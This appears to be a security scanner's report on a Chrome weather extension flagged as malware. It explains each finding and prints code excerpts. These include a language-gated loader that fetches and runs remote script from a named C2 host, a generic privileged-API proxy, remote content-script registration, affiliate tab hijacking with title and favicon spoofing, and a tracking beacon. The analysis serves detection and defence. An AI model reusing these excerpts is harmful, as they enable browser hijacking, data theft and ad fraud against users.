Security Alert: Confirmed Malware
天气
ID: fmlpbbognkocpajihchioognkmdeeldo
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- jinhui.xu002View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
浏览器中查看天气预报的最佳方式
浏览器中查看天气预报,可以自定义想要查看的城市,支持全球所有城市。
This content script, injected into every page via <all_urls>, creates a message bridge that relays any webpage's postMessage directly to the background worker (bypassing Chrome's security boundary), and then checks if the browser locale starts with 'zh' (Chinese). If so, it injects scriptMain.bundle.js into the page, which then fetches and executes a remote JavaScript payload from https://utq.vvipquan.com/wt/mv3/js/r.bundle.js. This is a classic remote code loading pattern gated behind a language check to target Chinese-speaking users.
(() => { "use strict"; const t = "wttianqi", e = "https://utq.vvipquan.com/wt"; window.addEventListener("message", (e => { let a = e.data; a.p == t && "tobg" == a.cmd && chrome.runtime.sendMessage(a.data, (t => { a.cb && window.postMessage({ cmd: "ctcb", cb: a.cb, data: t }) })) })); if (navigator.language.match("^zh")) { let a = document.createElement("script"); a.src = chrome.runtime.getURL("/scriptMain.bundle.js"), a.dataset.pname = t, a.dataset.assetPath = `${e}/mv3/js/`, document.body.appendChild(a) }This script constructs a URL pointing to an external server (https://utq.vvipquan.com/wt/mv3/js/r.bundle.js) with a cache-busting timestamp, creates a TrustedTypes policy to bypass CSP protections, then appends a script tag to execute the remote code in the context of every page the user visits. The remote script r.bundle.js is not included in the extension package and can be changed at any time by the attacker-controlled server without any Chrome Web Store review.
(() => { "use strict"; const e = "wttianqi"; ! function() { let t, c = document.querySelector(`[data-pname="${e}"]`), r = document.createElement("script"); window.trustedTypes && window.trustedTypes.createPolicy && (t = window.trustedTypes.createPolicy(e, { createScriptURL: e => e })); let n = `${c.dataset.assetPath}r.bundle.js?t=${(new Date).getTime()}`; r.src = t ? t.createScriptURL(n) : n, r.charset = "UTF-8"; let s = document.querySelector("script"); s = s ? s.getAttribute("nonce") : "", s && r.setAttribute("nonce", s), document.body.appendChild(r) }()})();The background service worker exposes a generic Chrome API proxy: any message with cmd='chrome' can pass an arbitrary dotted API path (e.g. 'tabs.query', 'cookies.getAll', 'history.search') and arbitrary parameters, and the background will call that API and return the result to the sender. Combined with the ct.bundle.js message bridge, any web page can invoke any privileged Chrome API (read all cookies, browsing history, capture all tabs, etc.) by simply posting a message with the extension's namespace string 'wttianqi'.
case "chrome": let a = t.fun.split("."), o = chrome, u = chrome;a.forEach(((e, t) => { o = o[e], t == a.length - 2 && (u = o)})), o.apply(u, t.params).then(n);break;A dedicated 'jdTask' module silently redirects background browser tabs to URLs provided in 'jdRules' rules (which are downloaded from the C2 server). It targets tabs with index >= 4 (background tabs), redirects them, then restores the original URL after a random 5-10 second delay — a classic affiliate cookie-stuffing or ad fraud technique that loads JD.com (Chinese e-commerce) or other pages to claim referral commissions without user awareness.
function r(e) { chrome.tabs.update(n.id, { url: e }), i.currentTask = "jdTask", clearTimeout(t), t = setTimeout((function() { n && !n.stayTime && chrome.tabs.get(n.id, (e => { e.url != n.url && n && chrome.tabs.update(n.id, { url: n.url }) })) }), 5e3 + parseInt(5e3 * Math.random()))}...init: function(t) { i = t, chrome.storage.local.get("jdRules", (t => { e = t.jdRules || [] })), chrome.runtime.onMessage.addListener(((e, t, n) => ("dojd" == e.cmd && this.check(t.tab, e.data) && r(e.data), !0)))}The background service worker accepts a 'regct' message and calls chrome.scripting.registerContentScripts with caller-supplied script definitions. Via the message bridge in ct.bundle.js, the remote server can push new content scripts (specifying any URL match pattern, JS code, run_at timing) and have them injected into any page the user visits — effectively a persistent content script installation mechanism controlled remotely.
case "regct": chrome.scripting.unregisterContentScripts({ ids: t.data.map((e => e.id))}, (() => { chrome.runtime.lastError && (chrome.runtime.lastError = null), chrome.scripting.registerContentScripts(t.data)}))The extension loads declarativeNetRequest rules from chrome.storage (seeded by the C2 server) and applies them dynamically via updateDynamicRules and updateSessionRules. It also registers a webRequest.onBeforeRequest listener to temporarily remove and re-apply session rules when main-frame loads occur, allowing it to intercept, redirect, or block any web request. The rules themselves are received from the remote server at https://utq.vvipquan.com/pmcnox/mdtsoen.htm.
chrome.declarativeNetRequest.updateDynamicRules({ addRules: e }) ... chrome.declarativeNetRequest.updateSessionRules({ addRules: e.rules5.rules }), chrome.webRequest.onBeforeRequest.addListener((t => { chrome.declarativeNetRequest.updateSessionRules({ removeRuleIds: ... }), setTimeout((() => { chrome.declarativeNetRequest.updateSessionRules({ addRules: e.rules5.rules }) }), 5e3) }), { urls: e.rules5.urls, types: ["main_frame"] })The extension hardcodes a primary C2 server (https://utq.vvipquan.com) and a backup (http://g.yhquan365.cn) for delivering redirect rules, remote JS payloads, and affiliate monetization API calls. The obfuscated endpoint paths (/pmcnox/mdtsoen.htm, /pmcnox/zomqdg.htm) and the use of .htm extensions for dynamic API endpoints are anti-analysis evasion techniques. Having a backup C2 server demonstrates infrastructure redundancy designed to survive takedowns.
assetsServer: "https://utq.vvipquan.com/wt", server: "https://utq.vvipquan.com", ruleServer: "https://utq.vvipquan.com", ruleMidPath: "/pmcnox", rulePath: "/pmcnox/mdtsoen.htm", rulePath2: "/pmcnox/xceinqa.htm", jrServer: "https://utq.vvipquan.com", mnyApi: "/pmcnox/zomqdg.htm", ...bak: { server: "http://g.yhquan365.cn", ...rulePath: "/bp/czntyt.htm", ...mnyApi: "/bp/zfgctwn.htm"}When a tab is being hijacked, the extension injects a script that overwrites the page's document.title and favicon with those of the captured 'host' tab, making the redirected page visually indistinguishable from the original. This is a deception mechanism that conceals the tab hijacking from the user by making the redirected tab appear to still show its original site.
mainTabUpate: function(t, r, i) { chrome.scripting.executeScript({ target: { tabId: t }, func: function(e, t) { document.title = e; var r = document.querySelector("link[rel~='icon']"); r || ((r = document.createElement("link")).rel = "icon", document.getElementsByTagName("head")[0].appendChild(r)), r.href = t, document.body.inMainTabUse = !0 }, args: [n.title, n.favIconUrl] });On every install/start, the extension generates or retrieves a persistent UUID (uid) and client identifier (cl), records install timestamp, and immediately fires a background tracking beacon (bgTj) to the C2 server at https://utq.vvipquan.com/xndkwo.gif — sending the unique user ID, client label, days since install, and extension ID. This creates a persistent user profile on the attacker's server without user consent or disclosure.
let c = { uid: t, cl: r, t: n, extId: chrome.runtime.id};a.userConfig = c, a.bgTj(), chrome.storage.local.set({ userConfig: c});...i.tj = function(e, r) { i.fetch(t.jrServer + "/" + e + ".gif", r)}, i.bgTj = function() { i.tj(t.btj)}, i.pageTj = function() { i.tj(t.atj)}The manifest exposes all extension resources (/*) to all URLs (<all_urls>). This allows any webpage to reference any file inside the extension package (including scriptMain.bundle.js) via chrome-extension:// URLs, which is the mechanism exploited by ct.bundle.js to bootstrap the remote code loading chain. A legitimate weather extension has no need for this blanket exposure.
{ "web_accessible_resources": [ { "resources": [ "/*" ], "matches": [ "<all_urls>" ] } ]}By severity
Versions scanned
Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 1.0.2 | 10 |
Files with findings
4 distinct paths — top paths by unique finding count:
- uv3/background.js7
- ct.bundle.js1
- manifest.json1
- scriptMain.bundle.js1
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.